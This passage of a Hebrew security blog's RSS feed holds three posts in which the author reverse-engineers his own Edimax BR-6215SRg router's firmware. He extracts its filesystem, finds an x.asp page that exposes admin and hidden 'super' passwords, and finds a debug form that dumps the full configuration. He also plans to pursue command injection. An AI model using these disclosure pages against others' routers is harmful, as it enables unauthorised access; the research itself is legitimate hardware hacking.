		<category><![CDATA[NAS]]></category>
		<category><![CDATA[Reversing]]></category>
		<category><![CDATA[אבטחה]]></category>
		<category><![CDATA[חומרה]]></category>
		<category><![CDATA[לינוקס]]></category>
		<category><![CDATA[פריצה]]></category>
		<category><![CDATA[רשתות]]></category>

		<guid isPermaLink="false">http://www.binaryvision.org.il/?p=252</guid>
		<description><![CDATA[&#8235;
בהמשך לפרק הקודם, היום אני הולך להראות לכם מה מצאתי במערכת הקבצים של הFirmware הבינארי שהורדתי מהאינטרנט. דבר ראשון נתחיל מהאתר וקבצי הASP שלו, שאני יכול לגלוש אליהם כמובן דרך ממשק הניהול. ממשק הWeb רשימת הקבצים שמצאתי נמצאת כאן בתמונה. דברים מעניינים שקופצים ישר לעין: x.asp נראה כאילו הוא אמור להציג סיסמה כלשהיא, ננסה להכנס [...]
&#8236;]]></description>			<content:encoded><![CDATA[<div dir="rtl"><p>בהמשך לפרק הקודם, היום אני הולך להראות לכם מה מצאתי במערכת הקבצים של הFirmware הבינארי שהורדתי מהאינטרנט.<br />
דבר ראשון נתחיל מהאתר וקבצי הASP שלו, שאני יכול לגלוש אליהם כמובן דרך ממשק הניהול.</p>
<h2>ממשק הWeb</h2>
<div id="attachment_255" class="wp-caption alignleft" style="width: 160px"><a href="http://www.binaryvision.org.il/wp-content/uploads/2009/04/web_list.png"><img src="http://www.binaryvision.org.il/wp-content/uploads/2009/04/web_list-150x150.png" alt="רשימת קבצים" title="רשימת קבצים" width="150" height="150" class="size-thumbnail wp-image-255" /></a><p class="wp-caption-text">רשימת קבצים</p></div>
<p>רשימת הקבצים שמצאתי נמצאת כאן בתמונה.</p>
<p>דברים מעניינים שקופצים ישר לעין:</p>
<ul>
<li>x.asp
</li>
</ul>
<p>נראה כאילו הוא אמור להציג סיסמה כלשהיא, ננסה להכנס לדף ישירות דרך הנתב:<br />
<a href="http://192.168.2.1/x.asp">http://192.168.2.1/x.asp</a><br />
ומקבלים לא רק את הסיסמה שלי להתחברות לנתב, אלא גם את הסיסמה של איזשהו משתמש super.<br />
מה?! אתם בטח צוחקים עלי&#8230;.</p>
<div id="attachment_256" class="wp-caption alignleft" style="width: 160px"><a href="http://www.binaryvision.org.il/wp-content/uploads/2009/04/x_asp.png"><img src="http://www.binaryvision.org.il/wp-content/uploads/2009/04/x_asp-150x150.png" alt="x.asp" title="x.asp" width="150" height="150" class="size-thumbnail wp-image-256" /></a><p class="wp-caption-text">x.asp</p></div>
<p>ניסיתי להתחבר לממשק עם המשתמש super, והסיסמה שיש שם, אבל זה לא נתן לי להתחבר, צריך עוד לראות איפה משתמשים בזה.<br />
(ד&quot;א הסיסמה מצונזרת בכוונה)</p>
<ul>
<li>test.asp
</li>
</ul>
<p>לא נראה מעניין יתר מדי,<br />
נראה כמו חלק מהממשק הוספת שיתוף בNAS.</p>
<ul>
<li>users
</li>
</ul>
<p>קובץ שמכיל את הרשימה הבאה:</p>
<pre>
<pre class="brush: text">
 User1
 User2
 user3
 user4
 user5
 user6
 user7
 user8
 user9
</pre>
</pre>
<p>האל יודע למה, בינתיים לא מצאתי לזה שימוש או הגיון.</p>
<ul>
<li>flash.asp
</li>
</ul>
<p>נראה כאילו זה הדף שדרכו אחרי זה עושים flash לחומרה, לפחות כאן אני יכול לראות מה הגרסת Firmware שלי.<br />
שזה 2.15, קצת יותר ישן מהכי חדש שהורדתי מהאינטרנט (2.21), ז&quot;א לפני שאני משחק עם זה בהתבסס על 2.21 צריך לעדכן את הנתב שלי.</p>
<ul>
<li>getflash.asp
</li>
</ul>
<p>מביא קצת יותר פרטים, נותן את הMacים והRegulation Domain (מישהו יודע מה זה?)<br />
אצלי זה עומד על ETST 1-13(Europe)</p>
<ul>
<li>debug.asp
</li>
</ul>
<p>נראה ממש מעניין, מכיל טופס של פקודה command וכפתור apply.<br />
משחקים עם הטופס לא הניבו כלום, הוא כל פעם כותב Invalid value of command.<br />
מה שעוד יותר מוזר זה שאני לא רואה בסורס של debug.asp איפה כל הלוגיקה של מה שקורה אחרי שעושים Submit.<br />
מבדיקה של הטופס עולה כי הוא שולח את זה למקום לא ברור, וגם לא קיים פיזית:</p>
<pre>
<pre class="brush: html">
&lt;form action=/goform/formDebug method=POST name=&quot;debug&quot;&gt;
.
.
&lt;/form&gt;
</pre>
</pre>
<p>מה זה goform?? מאיפה זה בא?<br />
<a href="http://home.postech.ac.kr/~sion/cs499a/webserver/web/over/goforms.htm">http://home.postech.ac.kr/~sion/cs499a/webserver/web/over/goforms.htm</a><br />
מצוין, זה אומר שהטופס הזה מקומפל בתור קוד C לתוך השרת web שלנו.<br />
מצד אחד זה טוב, קוד C בדרך כלל לא כלכך אמין.<br />
מצד שני זה רע, אני אצטרך לעשות Reversing לשרת כדי לראות מה הולך מאחורי כל סקריפט.</p>
<h2>Reversing webs</h2>
<div id="attachment_266" class="wp-caption alignleft" style="width: 160px"><a href="http://www.binaryvision.org.il/wp-content/uploads/2009/04/formdebug.png"><img src="http://www.binaryvision.org.il/wp-content/uploads/2009/04/formdebug-150x150.png" alt="formDebug" title="formDebug" width="150" height="150" class="size-thumbnail wp-image-266" /></a><p class="wp-caption-text">formDebug</p></div>
<p>טוב, אז ניקח את הבינארי של השרת Web, ונראה מה אנחנו יכולים לשלוף ממנו.<br />
לפי מה שהבנתי מהתיעוד, כדי לרשום טופס חדש צריך לקרוא לwebFormDefine.<br />
בואו נראה אם אנחנו יכולים לראות מי קורא לזה ועם איזה פרמטרים.<br />
כמובן שזה מקומפל בלי Symbols, אז זה לא יהיה כזה פשוט, אפשר לנסות לגשת מצד אחר,<br />
כדי לרשום טופס צריך להביא את השם שלו בתור מחרוזת, ז&quot;א אם נוציא את השם של הטופס מתוך debug.asp<br />
אז נוכל למצוא את המקום בקוד שרושם אותו.<br />
השם של הטופס זה formDebug.<br />
מגיעים לפונקצייה שהוא רושם, מסמנים אותה כפוקנצייה שמטפלת בformDebug, ומסתכלים מה היא עושה.<br />
נראה כאילו הפונקצייה בודקת שהפקודה זה &quot;report.txt&quot;, ואז מייצרת לוג של הרבה מאד פקודות מערכת, ונותנת אותו להורדה.<br />
כמובן ה&quot;נראה כאילו&quot; לקח כמה זמן להבין, אני לא הולך להציג כאן את כל הקוד, זה פשוט הרבה אסמבלי.<br />
בכל מקרה בדיקה של התיאוריה מול הנתב באמת אישרה את זה, רשמתי בפקודה report.txt, וקיבלתי קובץ להורדה עם מלא מידע.<br />
כל ההגדרות רשת, ההגדרות נתב, כל המידע השותף שמשתנה בזמן הניהול, הוא זרק לי אותו בRaw Text.<br />
נקודה מעניינת שראיתי, שהוא קורא הרבה ל_system בקוד שלו.</p>
<h2>המשך עבודה</h2>
<ul>
<li>מה הוא עושה עם הסיסמא של super?
</li>
<li>למצוא עוד דברים מעניינים בממשק Web.
</li>
<li>למצוא קריאה ל_system שמקבלת מחרוזת שמורכבת מפרמטרים שאני מביא בקלט של הטפסים, כדי לאפשר לי הרצת פקודות ע&quot;י שרשור פקודות לינוקס לפרמטרים בממשק Web.
</li>
<li>מי שרוצה מוזמן להוריד את דפי הASP והבינארי של שרת הWEB מכאן: <a href="http://rapidshare.com/files/223290606/edimax_web_221.rar">http://rapidshare.com/files/223290606/edimax_web_221.rar</a>
</li>
</ul>
<p>אשמח לתגובות, רעיונות או כל דבר אחר שיש לכם להגיד&#8230;</p>
</div>]]></content:encoded>			<wfw:commentRss>http://www.binaryvision.org.il/?feed=rss2&amp;p=252</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>&#8235;מסע אל בטן הנתב&#8236;</title>		<link>http://www.binaryvision.org.il/?p=243</link>
		<comments>http://www.binaryvision.org.il/?p=243#comments</comments>
		<pubDate>Sun, 22 Mar 2009 20:05:46 +0000</pubDate>
		<dc:creator>&#8235;Fate&#8236;</dc:creator>				<category><![CDATA[כללי]]></category>
		<category><![CDATA[Firmware]]></category>
		<category><![CDATA[NAS]]></category>
		<category><![CDATA[Reversing]]></category>
		<category><![CDATA[אבטחה]]></category>
		<category><![CDATA[חומרה]]></category>
		<category><![CDATA[לינוקס]]></category>
		<category><![CDATA[פריצה]]></category>
		<category><![CDATA[רשתות]]></category>

		<guid isPermaLink="false">http://www.binaryvision.org.il/?p=243</guid>
		<description><![CDATA[&#8235;
יש התקדמות! אני אשתדל לקצר כי יש ממש הרבה דברים שעשיתי, ואני מקווה שהקיצור לא יפגע בעניין והבנה של אנשים, אם יש שאלות תמיד אפשר לשאות בתגובות, או בערוץ IRC. בחרתי להשתמש בSlax 6.0.9 כדי לקמפל את הFirmware. קימפול הסורס מהאתר של Edimax הוראות פשוטות, פותחים את הtgz, נכנסים פנימה, לתוך תיקיית toolchain, ופותחים את [...]
&#8236;]]></description>			<content:encoded><![CDATA[<div dir="rtl"><p>יש התקדמות!<br />
אני אשתדל לקצר כי יש ממש הרבה דברים שעשיתי, ואני מקווה שהקיצור לא יפגע בעניין והבנה של אנשים,<br />
אם יש שאלות תמיד אפשר לשאות בתגובות, או בערוץ IRC.<br />
בחרתי להשתמש בSlax 6.0.9 כדי לקמפל את הFirmware.</p>
<h2>קימפול הסורס מהאתר של Edimax</h2>
<p>הוראות פשוטות, פותחים את הtgz, נכנסים פנימה, לתוך תיקיית toolchain, ופותחים את הtgz שם לתוך &quot;/&quot; כך שישתלב במערכת.<br />
מוחקים את build.tmp מהתיקיית מקור, ומריצים את NAS-BUILD.<br />
כמובן ששום דבר לא פועל ישר בלינוקס, וצריך להתעסק עם כל החרא הזה.<br />
אז נתחיל&#8230;<br />
דבר ראשון אחרי הסתכלות בNAS-BUILD הבנתי שהוא עושה סוג של Clean וConfigure אם הוא לא מוצא את build.tmp.<br />
עד כאן טוב ויפה חוץ מהעובדה שאפילו בזה הוא נכשל&#8230;<br />
הוא נופל לי על זה שהוא לא מוצא את הפקודה rcsclean, ששייכת לחבילת ניהול קוד או משהו כזה.<br />
טוב לא נורא, מורידים את slackpkg מתוך הRepository של Slackware, ומתקינים עם pkgtool שכבר יש בSlax.<br />
אחרי הגדרת slackpkg שכלל בחירת Mirror, והורדה והתקנה של gnupg, ועדכון המפתח gpg שלו, אפשר להתקין את מה שאנחנו צריכים.</p>
<pre class="brush: text">
slackpkg update
slackpkg install gnupg
slackpkg update gpg
slackpkg install rcs
</pre>
<p>מוחקים את build.tmp שוב ומריצים NAS-BUILD.<br />
הפעם נראה שהוא עשה מה שצריך.<br />
עכשיו נשאר רק לבנות, מריצים את NAS-BUILD שוב, הוא שואל אותנו גרסה וכל זה, אנחנו משאירים הכל רגיל.<br />
עכשיו אני לא הולך לפרט את כל השואה שעברתי כדי לגרום לזה להתקמפל, אני רק הולך לכתוב את זה בסעיפים, ואיפה התיקונים שעשיתי.</p>
<ul>
<li>busybox-1.00-pre2 לא מתקמפל
</li>
</ul>
<p>צריך להכנס לתיקייה שלו בתוך AP ולערוך את .config ולשנות את CONFIG_LFS=y לCONFIG_LFS=n.</p>
<ul>
<li>busybox-1.1.0 לא מתקמפל
</li>
</ul>
<p>אותו דבר כמו הקודם, רק הפעם צריך להפוך לn גם את FDISK_SUPPORT_LARGE_DISKS.</p>
<ul>
<li>dosfstools-2.11 לא מתקמפל
</li>
</ul>
<p>צריך לערוך את Makefile בתיקייה שלו בתוך AP/dosfstools-2.11 ולהוריד את התוספת של OFFSET_BITS=64 (כל הערך החל מ-D)</p>
<ul>
<li>libpcap-0.7.2 לא מתקמפל
</li>
</ul>
<p>צריך להתקין את bison ואת flex בעזרת slackpkg</p>
<ul>
<li>ppp-2.4.1 לא מתקמפל, צועק על pcap_parse
</li>
</ul>
<p>צריך ללכת לתיקייה של AP/libpcap-0.7.2 לערוך את הMakefile כך שהשורות שמכילות את lex ואת yacc יכלו את הערכים הבאים:</p>
<pre class="brush: text">
LEX = lex -Ppcap_
YACC = yacc -p pcap_
</pre>
<ul>
<li>vsftpd-2.0.4 לא מתקמפל
</li>
</ul>
<p>צריך לערוך את הקוד מקוד שנמצא בAP/vsftpd-2.0.4/sysutil.c<br />
ולעשות Comment-Out לקוד שמגדיר את הDefines בקבוצה של OFFSET_BITS=64&#8230;</p>
<p>יש! זה התקמפל!!!! (אצלי לפחות)<br />
ובנה את הImage שיושב בimage/NAS_Router/NAS-1.21.bin.<br />
רגע&#8230;&#8230; 1.21??? הבינארי מהאינטרנט מהאתר של Edimax שזה 2.21, והוא גם יותר גדול.<br />
כלבים, המקור לא מעודכן,<br />
עד כאן!!</p>
<h2>Reversing של הBinary של הFirmware</h2>
<p>אחרי מעבר על כל NAS-BUILD וכל הסקריפטים שהוא משתמש בהם,<br />
הבנתי שהFirmware מורכב מKernel ומהRoot File System שמחוברים יחד באיזה פורמט לא ברור שמיוצר ע&quot;י קובץ בינארי. (cvimg)<br />
בואו נראה לאיפה נכנס הקרנל שייצרנו בעצמו לתוך הimg שהצלחנו ליצור.<br />
אפשר לראות שכל הקרנל (bzImage) בשלמותו יושב בתוך הimg הסופי ומתחיל באיזה כותרת, שמכילה את הגודל שלו, ומסתיים בעוד תוספת של 4 בתים כחלק מהגודל שכתוב בגודל.<br />
ז&quot;א את הקרנל אנחנו יודעים איך להוציא, ניגש לעניין.<br />
פותחים את הimg הבינארי מהאתר עם עורך Hex ושולפים מתוכו את הKernel אחרי הכותרת, ועד האורך שמצויין פחות 4 בתים.<br />
האורך שכתוב לנו זה 00120C18.<br />
עכשיו צריך לראות איך שולפים את המערכת קבצים, לפי הסקריפטים שמייצרים את הimg שאנחנו הצלחנו ליצור,<br />
הוא מייצר את המערכת קבצים בתור קובץ Image שמכיל מערכת קבצים ext2, אחרכך מכווץ אותו עם lzma ופשוט מחבר אותו לסוף הFirmware.<br />
אז בואו נוציא את המערכת קבצים מהבינארי של Edimax.<br />
הולכים למקום אחרי הKernel ומתחילים להעתיק משם עד סוף הקובץ החוצה עם עורך Hex, ושומרים את זה כקובץ נפרד.<br />
מעבירים אותו ללינוקס, פותחים את הכיווץ בעזרת אותו lzma (פרמטר d) ומקבלים קובץ בגודל 11 מגה בערך.<br />
משמעותית יותר גדול ממה שהיה לנו (8 פתוח, 1.5 מכווץ)<br />
עכשיו אפשר למפות את הקובץ בתור כונן בלינוקס וסופסוף לראות מה יש שם.</p>
<pre class="brush: text">
mkdir /mnt/rootfs
mount -o loop extracted_rootfs.img /mnt/rootfs
</pre>
<p>בואו נכנס ונראה מה יש שם.<br />
כמה דברים שקופצים ישר לעין:</p>
<ul>
<li>יש תקייה ב/ שקוראים להweb שמכילה את כל המקור של האתר! <img src='http://www.binaryvision.org.il/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />
</li>
<li>תיקייה /bin מלאה בסקריפטים לשימוש בחומרה והחלת הגדרות וכו'
</li>
<li>תיקייה /etc גם מכילה דברים מעניינים יותר ממה שהיה לנו.
</li>
</ul>
<h2>האפשרויות שעומדות בפני</h2>
<ul>
<li>יש לי את המקור ASP של האתר! אני יכול לחפש באגים בסקריפטים ולנסות להריץ Shell Commands.
</li>
<li>יש לי את המערכת קבצים העדכנית, וקומפילר שמסוגל לקמפל למעבד שיש שם (RDC 3210), להוסיף תוכנות לא אמורה להיות בעיה גדולה מדי.
</li>
<li>אולי אני אתקין עליו Python? <img src='http://www.binaryvision.org.il/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />
</li>
<li>ראיתי שיש שם כבר Busybox עם telnetd שאפשר להריץ ברגע שיהיה לי Shell Command Execution.
</li>
<li>עדיף לי בינתיים למצוא איך לשבור אותו בלי להתקין Firmware חדש כדי לא להסתכן בBricking של המכשיר, אז פוסט הבא יהיה כנראה על באגים בממשק Web של Edimax&#8230;
</li>
</ul>
<p>שאלות? תגובות?</p>
</div>]]></content:encoded>			<wfw:commentRss>http://www.binaryvision.org.il/?feed=rss2&amp;p=243</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>&#8235;פרוייקט פריצת נתב&#8236;</title>		<link>http://www.binaryvision.org.il/?p=234</link>
		<comments>http://www.binaryvision.org.il/?p=234#comments</comments>
		<pubDate>Fri, 20 Mar 2009 10:50:59 +0000</pubDate>
		<dc:creator>&#8235;Fate&#8236;</dc:creator>				<category><![CDATA[כללי]]></category>
		<category><![CDATA[Firmware]]></category>
		<category><![CDATA[NAS]]></category>
		<category><![CDATA[אבטחה]]></category>
		<category><![CDATA[חומרה]]></category>
		<category><![CDATA[לינוקס]]></category>
		<category><![CDATA[פריצה]]></category>
		<category><![CDATA[רשתות]]></category>

		<guid isPermaLink="false">http://www.binaryvision.org.il/?p=234</guid>
		<description><![CDATA[&#8235;
מבוא עכשיו שיצא לי ללמוד קצת יותר לעומק על לינוקס, הקרנל שלו, ואיך כל הדברים עובדים, הגיע הזמן לקחת את הנתב שקניתי שהוא גם NAS, שמו בישראל Edimax BR-6215SRg, ולפרוץ אותו. זה הולך להיות בשלבים, ואני אעדכן אותכם כל פעם שתיהיה התקדמות משמעותית&#8230; מטרות השגת גישה של SSH לרואטר שלי שבירת הממשק Web שידרוג הFirmware [...]
&#8236;]]></description>			<content:encoded><![CDATA[<div dir="rtl"><h2>מבוא</h2>
<p>עכשיו שיצא לי ללמוד קצת יותר לעומק על לינוקס, הקרנל שלו, ואיך כל הדברים עובדים,<br />
הגיע הזמן לקחת את הנתב שקניתי שהוא גם NAS, שמו בישראל Edimax BR-6215SRg, ולפרוץ אותו.<br />
זה הולך להיות בשלבים, ואני אעדכן אותכם כל פעם שתיהיה התקדמות משמעותית&#8230;</p>
<h2>מטרות</h2>
<ul>
<li>השגת גישה של SSH לרואטר שלי
</li>
</ul>
<p>שבירת הממשק Web<br />
שידרוג הFirmware למשהו שאני אבנה</p>
<ul>
<li>קימפול דברים חדשים למכשיר
</li>
</ul>
<p>BitTorrent<br />
aMule</p>
<ul>
<li>לראות אם אפשר להתקין ממשק נורמלי לראוטר
</li>
</ul>
<p>OpenWRT<br />
DD-WRT</p>
<h2>ביצוע</h2>
<h3>מה כבר יש באינטרנט?</h3>
<p>יש כבר Firmware קיים לכל מיני נתבים שמאפשר להחליף את הFirmware למשהו OpenSource ופתוח.</p>
<ul>
<li><a href="http://openwrt.org">http://openwrt.org</a>
</li>
<li><a href="http://www.dd-wrt.com/wiki/index.php/Main_Page">http://www.dd-wrt.com/wiki/index.php/Main_Page</a>
</li>
</ul>
<p>הבעיה היא שהרואטר שיש לי לא בדיוק נתמך עדיין, לא בצורה מספיק טובה כדי להסביר איך מתקינים,<br />
וכדי שיהיה כתוב &quot;כן, זה עובד&quot;.<br />
חוץ מזה לא ראיתי באינטרנט נסיונות לפרוץ את הראוטר הזה דווקא.<br />
אז נשארתי רק עם לנסות בעצמי.</p>
<h3>האם אפשר לדפוק את הממשק Web</h3>
<p>חשבתי לנסות לפרוץ אליו דרך הממשק Web ולהשיג הרצת קוד.<br />
אחרי שחרשתי על הממשק Web, ראיתי שאין כלכך איפה לתת פקודות.<br />
אז בדקתי איזה שרת Web הוא מריץ וחשבתי לנסות לפרוץ אותו עם איזה Remote Code Execution.<br />
ואז הבנתי, זה לא x86, אין לי מושג איך אני מריץ שם קוד, איזה קוד, יש שם בכלל מחסנית?!<br />
במציאות הוא רץ על מעבד RDC 3210.</p>
<h3>מה עם קוד מקור למערכת</h3>
<p>למזלי, המערכת מריצה לינוקס לכן חלקים נכבדים שם בקוד פתוח,<br />
אז יש הורדה מהאתר של Edimax של הקוד מקור של המערכת.<br />
<a href="http://www.edimax.com/images/Image/OpenSourceCode/Wireless/Router/BR-6215SRg/NAS-GPL-BR-6215SRg.tar.gz">http://www.edimax.com/images/Image/OpenSourceCode/Wireless/Router/BR-6215SRg/NAS-GPL-BR-6215SRg.tar.gz</a><br />
עכשיו צריך לשחק איתו ולראות אם אני מצליח למצוא שם איך לפרוץ אותו,<br />
או איך לקמפל את כל הסיפור הזה מחדש עם השינויים שאני רוצה להכניס.</p>
<h2>בפעם הבאה</h2>
<ul>
<li>נראה אם אני מצליח לקמפל את כל המערכת ממצב של קוד מקור למצב של Firmware Image שאפשר לעשות איתו Upgrade.
</li>
<li>אם כן, אני צריך למצוא איפה הוא מרכיב את הRoot Filesystem, להוסיף לשם שרת SSH אם אין
</li>
<li>לערוך סקריפטי עלייה ולהוסיף שם הפעלה של שרת SSH
</li>
<li>לוודא שבiptables יש לי גישה לפורט 22
</li>
</ul>
</div>]]></content:encoded>			<wfw:commentRss>http://www.binaryvision.org.il/?feed=rss2&amp;p=234</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>
